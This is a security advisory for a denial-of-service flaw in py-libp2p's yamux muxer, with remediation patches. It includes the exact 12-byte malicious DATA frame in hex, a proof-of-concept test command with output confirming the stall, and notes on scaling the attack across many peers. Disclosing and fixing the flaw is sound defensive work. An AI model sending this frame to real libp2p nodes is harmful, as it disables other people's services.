Advisory

PYSEC-2026-3681

Details, part 2 of 2. The advisory

Details

python3 -m pytest test_poc.py::test_yamux_data_frame_stall -v

Malicious frame (12 bytes, hex): 00000000000000 01ffffffff

version  = 0x00
type     = 0x00  (DATA)
flags    = 0x0000
stream_id= 0x00000001
length   = 0xFFFFFFFF  (4,294,967,295 bytes)

Output:

[*] Config   : DEFAULT (noise + yamux)
[*] Pre-attack ping: OK (yamux live)
[*] Injecting 12-byte yamux frame: type=DATA flags=0x0 stream_id=1 length=0xffffffff
Victim yamux loop stuck: True
[CONFIRMED] handle_incoming blocked - victim yamux dead for this connection.
PASSED in ~3.8s

Impact
A single authenticated peer (one that has completed the noise handshake, which requires no credentials) can permanently freeze the yamux read loop for a given connection using 12 bytes of payload. All streams on that connection stop working. No exception is raised, no log entry is written, and no automatic recovery occurs.

This applies to the default new_host() configuration. Unlike a similar issue in the mplex muxer (which requires an explicit opt-in), every py-libp2p node using the standard setup is affected. At the default connection limit of 10,000 connections, an attacker running 10,000 peers can freeze all connections using roughly 120 KB of total traffic.

There is no confidentiality or integrity impact. The effect is limited to availability on the targeted yamux connection.

Remediation

1. Enforce the receive window on inbound DATA frames (primary fix)
Before calling read_exactly, reject frames whose declared length exceeds the negotiated receive window:

# libp2p/stream_muxer/yamux/yamux.py
                                                                                                           
MAX_YAMUX_FRAME = 256 * 1024  # matches DEFAULT_WINDOW_SIZE and go-yamux default
                                                     
elif typ == TYPE_DATA:
    if length > MAX_YAMUX_FRAME:
        logger.warning(
            f"yamux: oversized DATA frame length={length} > {MAX_YAMUX_FRAME}, sending RST"
        )
        rst_header = struct.pack(YAMUX_HEADER_FORMAT, 0, TYPE_DATA, FLAG_RST, stream_id, 0)
        await self.secured_conn.write(rst_header)
        continue  # skip body read; loop processes next frame
    data = await read_exactly(self.secured_conn, length) if length > 0 else b""

The same check should be applied to the SYN branch at lines 804 to 806.

2. Add a per-frame timeout in `handle_incoming()`

while not self.event_shutting_down.is_set():
    try:
        with trio.fail_after(60):
            header = await read_exactly(self.secured_conn, HEADER_SIZE)
            ...
    except trio.TooSlowError:
        logger.warning("yamux: frame read timed out, closing connection")
        self.event_shutting_down.set()
        break

Option 1 eliminates the amplification entirely. Option 2 bounds the worst-case stall duration for any future oversized-read path that might be introduced.

Sources & licences